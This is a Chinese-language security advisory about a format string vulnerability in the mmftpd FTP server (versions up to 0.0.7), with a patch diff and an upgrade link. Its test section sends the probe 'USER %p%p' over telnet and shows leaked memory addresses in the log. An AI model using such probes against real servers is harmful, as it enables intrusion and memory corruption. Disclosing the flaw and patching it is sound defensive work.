mmftpd FTP守护程序存在格式字符串攻击发布时间:2002-06-13 更新时间:2002-06-13 严重程度:高 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 mmftpd <= 0.0.7详细描述 mmftpd是安全性增加的FTP服务器,以普通用户运行。 其中'mmftpd ' 程序中的'mmsyslog()'函数存在格式字符串漏洞,如果'__GLIBC__'定义的情况下会以'vsyslog()'方式操作,它调用'syslog(3)'函数使用远程用户提供的格式字符串,可导致攻击者提交恶意字符串而覆盖任意内存地址。 测试代码 test:~$ telnet test.lab.intexxia.com 21 Trying x.x.x.x... Connected to test.lab.intexxia.com. Escape character is '^]'. 220 ftp.somehost.net FTP server (mmftpd (0.0.7/mmondor)) ready USER %p%p 331 Password required for this user PASS foo 530 Invalid login In the log file : mmftpd[1875]: 3CFC80CF Failed login for 0x80598800x80ae73c (unexisting) 解决方案 补丁: diff -dru mmftpd-0.0.7/mmlib/mmlog.c mmftpd-0.0.7.fixed/mmlib/mmlog.c - --- mmftpd-0.0.7/mmlib/mmlog.c Mon May 13 08:20:13 2002 +++ mmftpd-0.0.7.fixed/mmlib/mmlog.c Tue Jun 4 11:25:03 2002 @@ -70,7 +70,7 @@ va_start(lst, fmt); vsnprintf(buf, 1023, fmt, lst); va_end(lst); - - syslog(LOG_NOTICE, buf); + syslog(LOG_NOTICE, "%s", buf); } } 或者下载新程序: http://mmondor.gobot.ca/software/linux/mmftpd-0.0.8.tar.gz 相关信息 Beno?t Roussel (benoit.roussel@intexxia.com) 参考:http://archives.neohapsis.com/archives/bugtraq/2002-06/0098.html |